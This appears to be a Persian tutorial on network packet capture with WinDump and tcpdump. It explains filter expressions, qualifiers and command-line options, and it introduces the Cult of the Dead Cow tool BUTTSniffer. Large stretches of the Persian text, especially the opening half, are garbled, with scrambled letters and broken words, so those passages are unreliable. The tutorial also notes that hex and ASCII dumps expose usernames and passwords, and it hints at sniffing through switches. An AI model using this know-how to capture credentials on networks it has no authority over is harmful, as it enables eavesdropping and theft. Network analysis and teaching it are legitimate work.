  .  استی متنوعیت هاي قابلی داراWinDump، ین سادگیبا وجود ا.  استtcpdumpبا نرم افزار 

  
ر رو یافت بسته هاید به دری بای مWinDump که یین رابط شبکه يين نرم افزار، با تع   ی ا ی پس از اجرا        ی شبکه  ی رد و بدل شده ب

ردازد، ا     مرتبط با راب   زار،      ی ط مورد نظر بپ رم اف ام Headerن ن ا  ی تم سته ه ر رو   ی دری ب ا  یافت شده را ب ان و  ی صفحه نم ش داده و زم
   . دهدیز نشان ميک را نیخ هریتار

   
  شناسايی و تعيين پروتکل ها

  
    WinDump : د و در ا ی میی از پروتکل ها را شناسا     یاريبس ر       ی  کن ورد نظر را ب ام پروتکل م شان م   یرون صورت ن  ی صفحه ن
سته   WinDumpرد و ي  مورد نظر قرار گ ییل و شناسا  ي تحل ی خاص برا  ین امکان وجود دارد که تنها پروتکل      ین وجود ا  یبا ا . دهد ا ب  تنه
  .ن شده را در گزارش نشان دهديي پروتکل تعیها
  

واع خاص،    یی بسته هایین نرم افزار امکان شناسایگر، ای دی از سو     ا ان س    ب د ب ا مانن ه   ییته ه ق ب ا VLAN متعل ر   ی  تعریه ف شده ب
بکه، یرو ای ش سته ه ه ارتباطات یا ب ق ب ا.  را داردVPN متعل سته ه ورد ب ه یدر م ق ب شاVPN متعل ا تعیی، امکان رمزگ ا ب ي آنه ن ي

   . ز وجود دارديد مربوطه نين کليي و تعیتم رمزنگاریالگور
   

  تعيين مبدأ و مقصد خاص
  

ا (به مقصد) ییها( را مشاهده کرد که از مبدأ   یی توان بسته ها   ی، م یید ها ياده از کل  از، با استف  ي در صورت ن       ذر    ) ییه خاص در حال گ
  . هستند

   
  خروجی های مختلف

  
د  ی را نشان م    ی مختلف ی ها ی مختلف خروج  ین نرم افزار، بر اساس پروتکل ها      ی ا     ارت د    .  ده ه عب را   یب ر اساس         یگر، ب سته، ب  هر ب
اوت است    یخ دریا خط گزارش مورد نظر، مستقل از زمان و تار      ی،  ی است، نوع خروج   یوع پروتکل نکه متعلق به چه ن    یا سته، متف . افت ب

  . شودیش داده می پورت مورد نظر بسته، نمایا آدرس و شماره ی اکثر آنها، نام یهرچند که برا
  

دأ و    ي س یت استخراج اسام  ي توان قابل  ی، م WinDumpاز و به منظور بالاتر رفتن سرعت پردازش         ي در صورت ن       ا در قالب مب ستم ه
دأ  ي که صرف به دست آوردن نام سیرين صورت، تأخیدر ا.  آدرس اکتفا کردیمقصد را، حذف نمود و تنها به مشاهده        ا مقصد  ی ستم مب

   . رودین مي شود از بیم
   

  فيلترهای متنوع خروجی
  

را   یلترهايده از ف  ن نرم افزار، امکان استفا    ی خاص ا  یت ها ي از قابل  یکی     ي  تعی مختلف ب ا  ی و بررس ین خروج ي سته ه . ژه است ی  وی ب
ي  را تع  ی مختلف  ی توان پارامترها  ین نوع گزارش، م   يي تع یبرا ا،            ي ر اساس آنه ه ب ود ک ا   WinDumpن نم سته ه  را ی خاص ی گزارش ب
  .ردي گیده میگر را نادی دی دهد و بسته هایش مینما
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ارت د  . ک پروتکل واحد است   یا نوع بسته در قالب      ی بسته و    یتر اندازه   ليلترها، ف ين ف ی از ا  ی نمونه ا      ه عب ا،  ين فی گر، توسط ا  یب لتره
ا یم  سته ه وان ب ا  یی ت دازه ه ا ان رار داد و  یی ب ورد نظر ق رای  خاص را م ال م یا ب ا  ی مث سته ه وان ب  را TCP از پروتکل ی خاصی ت

  .ده گرفتیگر بسته ها را نادی کرد و دیبررس
  

ل دسترس    ی ش فرض در ا  ي که به صورت پ    یلترها، علاوه بر عبارات   ين ف ييع ت ی برا     زار قاب رم اف ارات  ین ن ا  ي د را نی  جدی هستند، عب ز ب
ورت، پروتکل و د          یی ابتدا ین پارامترها يي تع یه، برا یعبارات پا .  توان به دست آورد    یب عبارات ساده م   يترک دأ، مقصد، پ د مب گر  ی مانن

   .پارامترها هستند
   
  ی گزارشذخيره  
  

ه صورت       یره  ي يت ذخ  لن نرم افزار قاب   ی ا     ورد نظر ب ده را ن ی  گزارش م ده  . ز داردي ک پرون شده       پرون ردازش ن ام و پ ه صورت خ ب
 خاص، استفاده نمود که در آن صورت  ین از پارامتريين نرم افزار، با تعي توان از همی آن، م ی پردازش بر رو   ی شود و برا   یره م يذخ

  . شودید ميه توليعملاً گزارش اول
   

زار   ین ابزار را م    ین نرم افزار، به اختصار، مورد اشاره قرار گرفت، ا         ی که در مورد ا    ییت ها ي با توجه به قابل        وان اب و ی ت را ی ق  ی ب
، ی عاد کاربرانین وجود از آنجاکه روش کار با آن برایبا ا.  عادت داشته اند دانست   tcpdump یمی که به ابزار متداول و قد      یبران کار

ده است، م        ی مناسب، کم  یکي گراف یل نبود رابط کاربر   يبه دل  وان از  ی خسته کنن ا Sniffer ت زار    یگر ی دیه رم اف  Ethereal همچون ن
ا  ي تولی صورت گرفته، و خروجین روش کار به راحتييل و تعي آنها، تحلیاستفاده کرد، که با استفاده از رابط کاربر   ش ي ب یید شده خوان

  . داردیتر
ا ن   ی  که علاوه بر ذکر در بخش اول در ا         ی نکته ا          ر رو  ددا  ز مج  ي ن ج ه تقر     ی م ا ي کن  ید م  ي  آن تأک  یب ام   ین است ک اً در تم وارد،  یب  م

Sniffer    ه در شبکه           یطیها تنها در شرا د ک اربرد دارن ورد نظر از سو       ی ک شده باشد        یي م تفاده ن تفاده از سو     ی چ اس چ، یيا در صورت اس
ل تعر    ی د ی درگاه ها  یچ بر رو  یيک در حال پردازش توسط سو     ي تراف یمامل ت ي تحل ی خاص برا  یدرگاه اد     (ف باشد ی گر، قاب ن یکی زی ای

د            ار ميکنن ن ک سته چه جوری ای جدی نگيرید چون بعدا یادتان ميدهم چه جوری از روی سویيچ هم بسته کش بروید ، ناشی بوده نمی دان
  .)فکر کرده اصلا راهی وجود ندارد 

   
  نايی کلی با اين ابزار و قابليت های ان پيدا کرديد  حال اموزش خود ابزار خوب حالا يک آش

  
ه در  Tcpdumpمن در این مقاله به معرفی !! البته تقریبا !!  هر دو یک ابزار هستند Tcpdump و  WinDumpدو ابزار  ميپردازم ک

  . ميباشدTCPDumpزی برنامه  نسخه ویندوWinDumpواقع هر دو ابزار را مورد معرفی قرار گرفته باشد چون 
  

ين رابط       tcpdumpخوب بعد از دانلود و نصب برنامه با تایپ ساده فرمان             رای اول  در خط فرمان ، برنامه مزبور سعی خواهد کرد تا ب
ن ترتيب ماموریت خود را آ        ) یا در صورت امکان تمامی رابط ها        ( شبکه قابل دسترس     غاز  به حالت گوش به زنگ مستقر شده و به ای

ه                !!! کنند   چنان چه ميزان مشغوليت سيستم ميزبان زیاد بوده یا برنامه مذکور بر روی پورت مانيتور هاب یا سویيچ مستقر شده باشد ، ب
ال در             . طبع حجم زیادی از اطلاعات را در واحد زمان مشاهده خواهيد کرد            ان های فع ه ليست ميزب در نگاه اول چنين به نظر ميرسد ک

ار      شبکه ، زمان   ه در اختي ه برنام فعاليت هر ميزبان و نهایتا اطلاعات ناچيزی درباره داده های شناور در شبکه تنها اطلاعاتی هستند ک
اد           . شما قرار داده و اثری از محتوای بسته های حاوی اطلاعات دیده نمی شود              با فراگيری بيشتر در باره این برنامه و امکانات بسيار زی

  .د بود تا به سادگی اطلاعات مورد نظر خود را به دست آوریدان به زودی قادر خواهي
ه  . هر چند که ظاهر برنامه برای کاربران مبتدی خوشایند نيست ، اما به واقع این برنامه را باید یک ابزار بسيار توانمند دانست     همانگون

د              زار های مانن ورد ا       netcat و   nmapکه بارها گفته ام قابليت های اب ين دو م ه          و هم اد و کسب تجرب رین زی ا پس از تم ط ، تنه ر فق خي
  .کافی پی خواهيد برد

یکی از قابليت های این برنامه که آن را از بقيه ابزارها متمایز ميکند ، قابليت فيلتر کردن بسته های است که مورد نظر نيستند          •
  .خوب فکر ميکنم واضح باشد مقوله بحث حال

  
  :يلتر ها بهره گيری از سطر فرمان در تنظيم ف

  
اینری    ارت ب ک عب تفاده از ی ا اس ای      ) Boolean expressionاصطلاحا ( ب سته ه ه ب ال ب ت اعم ری را جه وان فيلت ی ميت ه راحت ب

ر                 . اطلاعاتی پيکر بندی کرد     OR و   ANDعبارات باینری بزرگتر را ميتوان با ترکيب عبارات باینری کوچک به وسيله واژه های نظي
  :وی عمومی یک عبارت به صورت زیر است الگ.  تشکيل دادNOTیا 

<packet characteristic> < value> 
  

  :توصيف کننده ها 
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ا   ) Qualifierاصطلاحا ( متداول ترین مشخصه  وع ی ه در سه   type qualifierبسته های اطلاعاتی عبارت است از توصيف کننده ن  ک

  : را در نظر بگيریدبرای مثال به فرمان زیر.  موجود استport و net و hostنوع 
# tcpdump host 192.168.1.100   

  
د    tcpdump یا گسيل شده از آن مورد توجه برنامه          192.168.1.100به واسطه این فرمان تنها بسته های ارسالی به ميزبان             قرار خواه

  :د چنان چه تنها ترافيک ناشی از سرویس وب مورد نظر باشد ميتوان از فرمان زیر استفاده کر. گرفت
  

# tcpdump 192.168.1.100 and port 80 
  

ز در            . عبارت ساده فوق همان قابليت فيلتر سازی را به ما ارایه ميدهد        ددی را ني ده متع ر دهن ه های تغيي ذکور گزین ه م ن حال برنام ا ای ب
  .زمينه فيلتر سازی در اختيار قرار ميدهد که در صورت لزوم ميتوان از آنها استفاده کرد

  
  :نده های مسير توصيف کن

  
رد          دی ک ال چنانچه    . به کمک قابليت های برنامه مذکور ميتوان فيلتر ها را با توجه به مسير طی شده بر روی شبکه نيز پيکر بن رای مث ب

ده    ٨٠ به پورت شماره     192.168.1.100ترافيک گسيل شده از ميزبان       ری از توصيف کنن  سایر ميزبان ها مورد نظر باشد ، با بهره گي
  : به صورت زیر ميتوان به دف خود دست یافت dst و srcر مسي

# tcpdump src host 192.168.1.100 and dst port 80 
  

ده              . این دقيقا همان فيلتری است که به دنبال ان هستيم            وع هيچ یک از توصيف کنن ا ن ده ه تفاده از توصيف کنن در صورتی که هنگام اس
رار   " src or dst" امه مذکور خود عبارت های مسير را صراحتا مشخص نکنيد ، برن را به عنوان توصيف کننده مسير مورد استفاده ق

  :را ميتوان این گونه نوشت " توصيف کننده های نوع " به این ترتيب دومين فرمان نمونه ارایه شده در قسمت . خواهد داد
  

# tcpdump src or dst host 192.168.1.100 and src or dst port 80 
  

ری   ) Point to point( در مورد پروتکل های نظير به نظير : نکته   ) Serial line internet protocol( همچون پروتکل شماره گي
 به ترتيب از دو توصيف کننده dst و src به جای توصيف کننده های مسير tcpdumpبرنامه  )  PPP) Point to point protocolو 

inbound و outboundه ميکند استفاد.  
  

  :توصيف کننده های پروتکل 
  

ورد       tcpdumpبرنامه   ا م  نوعی دیگر از توصيف کننده ها را با عنوان توصيف کننده های پروتکل جهت بهره گيری در ساختار فيلتره
  :برای مثال ، فرمان زیر را در نظر بگيرید . پشتيبانی قرار داده است

#tcpdump src host  192.168.1.100 and udp dst port 53 
  

ان         DNS این فرمان کليه پيام های       د        192.168.1.100 گسيل شده از ميزب رار ميده وذگر ق ار نف ده     .  را در اختي د توصيف کنن توجه کني
ه صورت         udpپروتکل  ه ب وع مسير ک ده ن يش از توصيف کنن ده است     dst port پ ع گردی ده های     .  نوشته شده ، واق ایر توصيف کنن س

وع          پروتکل قابل استفا   ده ن ا توصيف کنن د از     portده ب ده های      icmp; و  tcp عبارتن وان از توصيف کنن ين ميت  و arp و ip6 و ip همچن
ethyer      نيز به عنوان توصيف کننده های پروتکل قابل استفاده با توصيف کننده نوع hostوع  .  نام برد فرمان زیر کليه درخواست های ن

arp ) Address Resolution Protocol (  مربوط به زیر شبکه محلی را به دست می آورد:  
  

# tcpdump arp net 192.168.1 
  

ده پروتکل                      MACبا در دست داشتن آدرس       ر توصيف کنن ورد  ether یک ميزبان به خصوص از شبکه ، می توان به صورت زی  را م
  :استفاده قرار داد

# tcpdump ether host 00:e0:29:38:b4:64 
  

ه      در صورت عدم استفاده    ده های        tcpdump از توصيف کننده پروتکل در ساختار فيلتر ، برنام يش فرض توصيف کنن ه طور پ  و ip ب
arp   یا rarp       را به همراه توصيف کننده نوع host و توصيف کننده های tcp یا udp را به همراه توصيف کنده نوع port   تفاده ورد اس  م

  .قرار خواهد داد
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  :سايز توصيف کننده ها 

  
ر کردن        تا ای  ارتی در جهت فيلت وان عب ه عن ن جا بر استفاده از توصيف کننده های نوع ، مسير و پروتکل در قالب الگوی عمومی زیر ب

  :بسته های اطلاعاتی تاکيد کردیم 
  

[protocol qualifier] [directional qualifier]  < type qualifier > value 
  

ر                    علاوه بر توصيف کننده های که در پاراگرا        ف قبل مورد بررسی قرار دادیم ، توصيف کننده های دیگری نيز جهت توسعه قابليت فيلت
  .جدول زیر جزیيات مربوطه را نشان ميدهد.  ارایه شده که در صورت نياز ميتوان از آن ها استفاده کردtcpdumpسازی برنامه 

  توضيحات  مثال  توصيف کننده  
١   

 
 

gateway 

 
 
 

# tcpdump gateway 
router1 

ه از                   د ک ه دست ميده این توصيف کننده تنها آن بسته های اطلاعاتی را ب
وان دروازه ورودی  router 1روتر  د    /  به عن تفاده می کنن . خروجی اس

ده     ا توصيف کنن تفاده ب ورد اس دار م ک   gatewayمق ام ی د ن ا بای  لزوم
ه             Ethernetسيستم ميزبان با آدرس      ام ب ه ن  باشد که در حالت اول ترجم

رویس IPس آدر ق س اظر از طری اتی DNS متن ک اطلاع ا بان  ی
/etc/ether اتی تفاده از بانک اطلاع ا اس ورد دوم ب  etc/sther/ و در م
  .انجام ميشود

٢   
Broadcast 
multicast 

 
# tcpdump ip bradcast net 
192.168.1

انی              bradcastتوصيف کننده    ع همگ ه قصد توزی  تنها بسته هایی را که ب
ه مقصد         (  اند   ارسال شده  در این مورد کليه بسته های اطلاعاتی ارسال ب

ا ١٩٢٫١۶٨٫١٫٠ د   ) ١٩٢٫١۶٨٫١٫٢٢۵ ت رار ميده تيابی ق ورد دس . م
رای گروهی از                 multicastتوصيف کننده    ه ب ایی را ک سته ه ا ب ز تنه  ني

  .سيستم های ميزبان ارسال شده اند ، نمایش ميدهد
٣   

 
 
 
 
 

proto 

# tcpdump ip proto 17
  
  عبارتی همچون ( 

ip host 192.168.1.100 and 
tcp port 80 

  باید به صورت 
Ether proto \\ip and host 
192.168.1.100 and ip 
proto \\ tcp and port 80 

به چگونگی بسط . نوشته شود
توصيف کننده پروتکل در هر 

  مورد به صورت کلی 
<protocol> proto <sub-
protocol> 

  . )توجه کنيد

  
  
  

ک           ی ی ای فرع ل ه وان پروتک د ميت ده مفي يف کنن ن توص ک ای ه کم ب
ه              ی در صورتيکه برنام دی    tcpdumpپروتکل اصلی را ، حت  واژه کلي

رد  شخص ک د ، م رده باش ی نک يش بين رای آن پ ی را ب امی . خاص اس
والی                 تفاده از دو علامت مت ا اس د ب ا بای ه صورت      \پروتکل ه ورد   \\ ب  م

دی          tcpdumpمه  استفاده قرار بگيرد تا برنا     وان واژه کلي  آن ها را به عن
وان از شماره            . تلقی نکند  ن ميت ا وجود ای ا شماره     TCP ، پروتکل     ١ب  ب

وان پروتکل های           ١٧ با شماره شناسه       UDP و   ۶شناسه   ه عن وان ب  ميت
  .فرعی مهم یاد کرد

۴   
 
 

Mask 

# tcpdump net 
192.168.1.0 mask 
255.255.255.0 

 زیر فرمان فوق را به صورت
  :نيز ميتوان نوشت 

# tcpdump net 
192.168.1.0/24 

  
ر شبکه                 از این توصيف کننده ميتوان جهت به کار گيری یک ماسک زی

  )sub net mask (    وع ده ن رد  netبه همراه توصيف کنن تفاده ک ا .  اس ب
ه در                   ابليتی ک ه واسطه ق وق ، ب ده ف ری از توصيف کنن ره گي این حال به

  . ميکنيد ، به ندرت صورت ميگيردمثال مربوطه ملاحظه

۵  len, 
greater, 

less 

# tcpdump greater 80 
  و

# tcpdump len >= 80 

رد                  الایش ک وان پ ز ميت ا ني دازه آن ه ای ان . بسته های اطلاعاتی را بر مبن
ای   ده ه ده ای از  less و greaterتوصيف کنن اه ش رم کوت ادگی ف ه س  ب

دی     عبارت تعيين اندازه هستند که با است       اده سازی   lenفاده از واژه کلي  پي
دازه                . ميشوند ه ان ایی ب سته ه ا ب ا تنه شان داده شده در اینج ال ن هر دو مث

  . بایت یا بزرگتر را مورد توجه قرار ميدهد٨٠
ذیر                "tcpdump "udp[4] >= 24#عبارات   ۶ ز امکان پ پالایش بسته های اطلاعاتی حتی بر مبنای محتوای آنها ني
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مربوط به 
اندازه بسته 
  اطلاعاتی

  
ایی از   سته ه ا ب وق تنه ان ف فرم

وع  م دUDPن ه حج ای  را ک اده ه
ادل      ر    ٢۴آن ها مع ا بزرگت  بایت ی

رار     ه ق ورد توج د م از ان باش
د ای   . ميده ال ه شاهده مث ت م جه

ه   راه برنام ستندات هم ه م شتر ب بي
  .رجوع کنيد

ام پروتکل      . است  دا ن افی است ابت ا   ) ip, ether ,tcp( ک ه دنب ل آن و ب
ست   ای آف ت ه داد بای دا  ( تع راف از مب ر را ) اصطلاحا انح ورد  نظ م

 ، درست مانند اندیس ارایه مشخص نموده    []درون یک جفت از علامت      
سه ای مناسب از                ) udp[4]مانند  (  ا عملگر مقای و مجموع حاصل را ب

ارت        . عبارت مورد نظر دیگر جدا کنيد      ا عب در بيشتر مواقع لازم است ت
د ؛ چرا              نهایی ا  رار دهي شن ق وق را در درون کوتي ه ترتيب ف یجاد شده ب

يش از                      ور را پ ارت مزب ستم عامل ، عب ان سي سر فرم که ممکن است مف
  . اقدام به ارزیابی آن کند ، تفسير کندtcpdumpآنکه برنامه 

  
  :مقادير توصيف کننده ها 

  
  .داشتواضح است که مقادیر توصيف کننده ها به نوع آنها بستگی خواهد 

  
البی عددی                hostمقادیر تخصيص یافته به توصيف کننده نوع         • ا آن در ق اظر ب ا آدرس متن ان ی ستم ميزب ام سي ارت است از ن  عب

ارت مربوطه ،     MAC , IPاین آدرس ممکن است از نوع آدرس ( دارد  ه در عب ار رفت  یا بسته به توصيف کننده پروتکل به ک
 )نوع دیگر از آدرس باشد 

صيص  • دار تخ وع    مق ده ن يف کنن ه توص ه ب صوص     port یافت ه خ ام ب ک ن ت از ی ارت اس اتی   (  عب ک اطلاع ود در بان موج
/etc/services ( یا شماره پورت. 

این مقدار مکن است به سادگی .  عبارت است از آدرس شبکه یا ماسک شبکه netمقادیر تخصيص یافته به توصيف کننده نوع    •
بکه  ا مشخصه ش ا ب بکه  ،مش ) 192.168( تنه ای ش ت ه داد بای ال آن تع ه دنب بکه و ب ا  ) 192.168.0.0/16( خصه ش ا ب و ی

 .بيان شود ) mask 255.255.0.0 192.168.0.0( مشخصه شبکه و به دنبال آن ماسک شبکه 
ا  ip , tcp عبارت است از اسامی خاصی مانند protoمقدار تخصيص یافته به توصيف کننده نوع  • اظر    udp  ی ا شناسه متن  و ی

 . موجود ميباشدetc/protocols/با پروتکل مورد نظر که در قالب عددی در بانک اطلاعاتی 
  

ور را     windump ميباشد از این رو      etc/سيستم عامل ویندوز فاقد فهرستی با عنوان          فایلهای مزب
  . نگه ميدارد\C:\windowsدر فهرست ریشه سيستم عامل به آدرس 

  
   :TCPDump و  WinDumpگزينه های سطر فرمان در برنامه 

  
  : به قرار زیر است TCPDump و  WinDumpگزینه های سطر فرمان برنامه 

  
  توضيح  گزینه  
١  -a  استفاده از گزینه موجب ترجمه آدرسIPبه نام ميزبان متناظر ميشود .  
٢  -c <num>          وجود این گزینه موجب تداوم استراق سمع برنامهtcpdump        داد  <num> تا زمان دریافت تع

  .بسته اطلاعاتی شده و سپس استراق سمع را خاتمه ميدهد
٣  -d , -dd , -ddd                        ه جای رده و ب ان دریافت ک به کمک این گزینه ميتوان فيلتر مورد نظر را از طریق سطر فرم

 ( Cزبان  ) d-گزینه ( استفاده از فرایند استراق سمع ، کد برنامه معادل ان را به زبان اسمبلی  
ه  ( ، یا در قالب هگزا دسيمال )  dd-گزینه   ود   ) ddd-گزین ن قابليت معمولا    . دریافت نم از ای

راد                 دیان و اف رداری مبت ره ب در فرایند اشکال زدایی استفاده شده و از این رو به ندرت مورد به
  .کم تجربه قرار ميگيرد

۴  -e         د ه پون ه داده های موجود در سطح لای وان ب ه ميت ا  با استفاده از این گزین  data-link(  داده ه
layer         یا دومين لایه شبکه در ساختار پيشنهادی OSI (   ورد       . دست پيدا کرد ال ، در م برای مث

شاهده                Ethernetیک شبکه    ورد م سته های اطلاعاتی را م  ميتوان اطلاعات موجود در هدر ب
ایي                  . قرار داد  ه اطلاعات سطح پ ه ب ثلا     این گزینه را تنها در صورتی مفيد می یابيد ک ن شبکه م

شاهده آدرس ( بخش خاصی از ترافيک  ور م ه منظ ر MACب ين دیگ ن )  یک ماش ه م علاق
  .باشيد

۵  -F <file>                               ل ق یک فای ان از طری ه جای سطر فرم ورد نظر را ب ر م وان فيلت ه ميت با استفاده از این گزین
  .مورد استفاده قرار داد

۶  -i           رار داد       به کمک این گزینه ميتوان رابط خاصی از شبکه ورد توجه ق ستم عامل     . را م تحت سي
ان   ری از فرم ره گي ا به ونيکس ب ی   ifconfigی ه راحت ود را ب بکه موج ای ش ط ه وان راب  ميت
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 شناسه رابط windump -Dدر مورد سيستم عامل نوع ویندوز به واسطه فرمان . مشاهده کرد
  .شبکه مورد نظر در اختيار قرار می گيرد

٧  -l    نه موجب ميشود تا خروجی استاندارد برنامه        استفاده از این گزیtcpdump       ه  به صورت خط ب
شاهده                        . خط بافر شود   والی م ه را در قالب مراحل مت ن برنام وان خروجی ای ن ترتيب ميت ه ای ب

ه     . کرد ر روی  tcpdumpبدون استفاده از این گزینه هيچگونه خروجی پيش از خروج برنام  ب
  .صفحه نقش نمی بندد

٨  -n ز این گزینه موجب جلوگيری از ترجمه آدرس استفاده اIPبه نام ميزبان متناظر ميشود .  
٩  -N       ان ه ميزب وط ب وزه مرب ل ح ام کام ایش ن وگيری از نم ه موجب جل ن گزین ری از ای ره گي ( به

Fully Qualified Domain Name یا اصطلاحا FQDN (  شده و از این رو نام ميزبان به
  .تنهایی نمایش می یابد

١٠ -o           ای سته ه ازی ب ر س ه فيلت وط ب د مرب ازی ک ه س د بهين اثير فراین ه ت ن گزین ری از ای ره گي به
ه       . اطلاعاتی را نادیده ميگيرد    تفاده در برنام ورد اس ر م  tcpdumpدر مواقعی که عملکرد فيلت

ن         ه واسطه ای مطابق با انتظار نبوده و چنين به نظر ميرسد که برخی از بسته های اطلاعاتی ب
رد  ر  عملک شمول فيلت ان م ته کماک اتی ناخواس ای اطلاع سته ه ا ب د ، ی نادرست از دست ميرون

  .استفاده از این گزینه ممکن است مفيد واقع شود. سازی نشده اند
١١ -p               ه ا برنام ه ت شود ک اتی           tcpdumpاستفاده از این گزینه باعث مي  از رابط شبکه در حالت عملي

Promiscuousد ر کن رایط.  صرف نظ ين ش مع  چن تراق س ا اس ه تنه د است ک امی مفي ی هنگ
ه      ( ترافيک محلی    ه برنام ر روی  tcpdumpیعنی ترافيک ورودی یا گسيل شده از ماشينی ک  ب
  .مورد نظر باشد) ان مستقر شده 

١٢ -r <file>   برنامهtcpdump     ل  قادر است تا خروجی حاصل از عمليات استراق سمع را در قالب یک فای
 ميتوان محتوای همچنين    r-با استفاده از گزینه     ) .  را ببينيد    w-گزینه  (   ند  باینری نيز ذخيره ک   

ام     . فایلی را مورد بازخوانی و نمایش قرار داد ور داده های خ ه مزب  raw( از آن جا که برنام
data (                          ه شود ب ين مي ان تعي ق سطر فرم ه مشخصه های ان از طری را نيز بر اساس فيلتری ک

ورد                 دست ميدهد ، ميتوان      ده م ه دست آم ازخوانی مجدد اطلاعات ب گزینه اخير را به منظور ب
 n , -s , -e-استفاده قرار داده و با بهره گيری از گزینه های دیگری از سطر فرمان ، همچون 

, -Xخروجی حاصل را در قالبهای متفاوتی نمایش داد .  
١٣ -s <bytes>         بسته اطلاعاتی را که برنامه به کمک این گزینه ميتوان تعداد بایت های از هر tcpdump  د  بای

رد       ا           . مورد توجه قرار دهد تعيين ک ر ب يش فرض براب دار پ داد      .  بایت است    ۶٨مق ان چه تع چن
  .بایت ها زیاد باشد احتمال از دست رفتن بسته ها افزایش می یابد

١۴ -S               سته های ق      TCPبهره گيری از گزینه موجب نمایش شماره ترتيب ب ه صورت مطل شود   ب .  مي
 در این مورد بر نمایش شماره بسته ها به صورت نسبی استوار              tcpdumpپيش فرض برنامه    

است ، چرا که به این ترتيب ميتوان نوسانات شماره ترتيب بسته ها را به ازای تعداد بایت های    
صال   ه ات دتی ک ين م ور ح ای مزب سته ه افتی از ب ردTCPدری شاهده ک رار است م ره .  برق به

ام                 گيری از  ه صورت دستی انج د ب ن محاسبات بای ه ای ی است ک  شماره های  نسبی به این معن
  .شود

١۵ -t , -tt   گزینه–t                     ه د استراق سمع برنام ان در فراین ایش عامل زم وگيری از نم  tcpdump موجب جل
نمایش زمان بر (  زمان را به صورت قالب بندی نشده نمایش ميدهد          tt-ميشود حال آنکه گزینه     

  ). صورت می پذیرد ١٩٧٠ ، یعنی اول ژانویه سال epoch زمان مبنای
١۶ -T <type>   ه ایر پروتکل های       tcpdumpبرنام ادر است برخی از س ه  IP ق  , DNS , ARP ، از جمل

NBT , DHCP        ه سته ب دی شده مناسبی را ب  را نيز مورد توجه قرار داده و خروجی قالب بن
سته های اطلاعاتی منتخب را            این گزینه بر  . نوع پروتکل نمایش دهد      ا ب د ت نامه را وادار ميکن

د   ده از یک پروتکل خاص ، مانن ه دست آم وان اطلاعات ب ه عن ا RCPب ورد SNMP ، ی  م
  .توجه قرار دهد

١٧ -v , -vv, -vvv                    ه ات استراق سمع برنام  tcpdumpاین گزینه ميزان اطلاعاتی را که باید در مورد روند عملي
د  بر روی صفحه نمایش   اراکتر     .  مشاهده کند مشخص می نمای داد ک ه   vهر چه تع ن گزین  در ای

شتری               ات بي بيشتر باشد ، به طبع تحليل برنامه مزبور از عمليات بيشتر است و بنا بر این جزیي
  . درباره روند عمليات به نمایش در می آید

١٨ -w <file>      ه ا برنام شود ت ب مي ه موج ری از گزین ره گي اتی    از ترجtcpdumpبه ای اطلاع سته ه ه ب م
ه                        ده را ب رده و اطلاعات بدست آم ا صرفنظر ک البی خوان ه ق حاصل از عمليات استراق سمع ب

ن             .  بنویسد <file>همان شکل در فایل باینری       ه بخواهيم ای د است ک گزینه مزبور هنگامی مفي
اوت مش   tcpdumpاطلاعات را با استفاده از برنامه        يم   یا برنامه دیگری در قالبی متف ( اهده کن
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ه              tcpdumpاز آنجا که برنامه     ) .  را ببينيد    r-گزینه   ه اطلاعات ب دامی را جهت ترجم  هيچ اق
د                       اهش می یاب ز ک سته های اطلاعاتی ني ه  . فورم خوانا انجام نمی دهد احتمال از دست رفتن ب ب

  . در مواردی که بار ترافيکی سنگين باشد افزایش می یابدw-این ترتيب اهميت گزینه 
١٩ -q              بهره گيری از این گزینه نمایش جزیيات نتایج حاصل از استراق سمعtcpdump   جلوگيری به 

ی آورد ل م ان   . عم ا کماک رود ام ات از دست مي رایط برخی از اطلاع ن ش ه تخت ای ن ک ا ای ب
مشخصات سيستم ميزبان درگير عمليات و زمان استراق سمع هریک به خوبی مشخص خواهد      

  .بود
٢٠ -x  زینه محتویات بسته های اطلاعاتی بدست آمده از عمليات استراق سمع را در قالب هگزا               این گ

د  ایش ميده يمال نم ل    . دس اختار پروتک ورد س ابی در م تن کت ت داش ا در دس  و TCP/IPب
اطلاعات هگزا دسيمال حاصل از به کار گيری این گزینه ميتوانيد مجال آموزش خوبی را در                  

ری     .  مربوطه برای خود فراهم کنيد    مورد این پروتکل و جزیيات     شرفته ت وق ویژگی پي گزینه ف
ه  اتی    tcpdumpاز برنام ای اطلاع سته ه ود در ب ی موج ای مخف ابی داده ه ه بازی ه ب  است ک

  .کمک شایانی ميکند
٢١ -X   ه شابه گزین ه م ن گزین رار   x-ای ار ق شتری را در اختي ات بي ه امکان تلاف ک ن اخ ا ای د ب   ميباش

 علاوه بر قالب هگزا دسيمال قادر است محتویات بسته های اطلاعاتی را در                X-گزینه  . ميدهد
اده              .  نيز نمایش دهد   ASCIIقالب   تن س ور را در قالب م وان اطلاعات مزب به این ترتيب می ت

ایر        ور و س ه عب اربر و کلم ام ک ون ن ه ای چ ات محرمان ه اطلاع ن رو ب رد و از ای شاهده ک م
  .اطلاعات مشابه دست پيدا کرد

  
  

   :BUTTSnifferمعرفی ابزار 
  

بوده و بهره گيری از ان از  ) Client / Serverغير (  یک ابزار استراق سمع تحت ویندوز با ساختاری مستقل BUTTSnifferابزار 
اهيم اساسی                       . طریق سطر فرمان امکان پذیر است      ا مف نایی ب ا در صورت عدم آش وده ، ام ول ب مربوطه  عملکرد این ابزار کاملا قابل قب

  .کار با ان اندکی دشوار است
يم                   ا برس ه ان ه ا ب ه ابزاره ق اینگون ایليم از طری ه م . گام اول ر فراگيری استفاده از ابزارهای استراق سمع تعيين دقيق ان چيزی است ک

شود            ان   . کار با این ابزار به راحتی از طریق خط فرمان ویندوز انجام مي ه   BUTTSniffاجرای فرم دون هيچ گزین  ای ، خلاصه ای   ب
  :از توصيف گزینه های قابل استفاده را به دست ميدهد

  
C:\Documents and Settings\ZXO003\dump>BUTTSniff 
WinNT: Version 5.1 Build 2600 
Service Pack: Service Pack 2 
BUTTSniffer v0.9 (c) 1998, Cult of the Dead Cow 
Usage: buttsniff -{idl} <arguments> 
 -i (interactive)  arguments: <device number> <port> 
 -d (disk dump)    arguments: <device number> <log file> <dump type> [filter] 
 -l (list devices) arguments: (none) 
 
 Valid dump types are: 
      r (raw frames)     Dumps raw network traffic 
      e (encapsulation)  Dumps decoded packets with encapsulation information 
      p (protocol)       Dumps fully decoded packets with protocol information 
 Valid filters are: 
      A single number representing a port to be monitored (e.g. 80) 
      A port range to be monitored (e.g. 141-1024) 
      A filename containing a list of IP and port filter rules 
      Read the 'readme.txt' for more information and examples. 
      Filters are only active on dump type 'p'. 
